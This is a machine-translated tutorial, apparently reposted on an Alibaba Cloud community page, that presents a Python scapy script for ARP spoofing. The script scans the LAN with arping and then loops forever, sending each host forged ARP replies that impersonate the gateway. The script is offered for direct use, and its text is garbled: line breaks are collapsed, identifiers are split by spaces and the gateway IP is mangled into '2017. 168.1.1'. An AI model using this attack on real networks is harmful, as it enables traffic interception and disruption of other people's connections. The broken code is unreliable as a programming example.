Python uses arp spoofing to forge a gateway, and pythonarp spoofs the gateway.

Source: Internet
Author: User

Python uses arp spoofing to forge a gateway, and pythonarp spoofs the gateway.

This example describes how to use arp to spoof a gateway in python. Share it with you for your reference. The specific implementation method is as follows:

# Coding: UTF-8 ''' arp spoofing the LAN pc and sending the forged gateway mac to the pc using the gateway's arp response ''' from scapy. all import ARP, send, arpingimport sys, restdout = sys. stdoutIPADDR = "192.168.1. * "gateway_ip = '2017. 168.1.1 '# counterfeit gateway mac address gateway_hw = '00: 11: 22: 33: 44: 55' p = ARP (op = 2, hwsrc = gateway_hw, psrc = gateway_ip) def arp_hack (ip, hw): # counterfeit arp response from the gateway t = p t. hwdst = hw t. pdst = ip send (t) def get_host (): # obtain the mac address of the online host and the corresponding ip address hw_ip = {} sys. stdout = open ('host. info', 'w') arping (IPADDR) sys. stdout = stdout f = open ('host. info', 'R') info = f. readlines () f. close del info [0] del info [0] for host in info: temp = re. split (r '\ s +', host) hw_ip [temp [1] = temp [2] return hw_ipif _ name _ = "_ main __": hw_ip = get_host () while 1: for I in hw_ip: arp_hack (hw = I, ip = hw_ip [I])

I hope this article will help you with Python programming.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.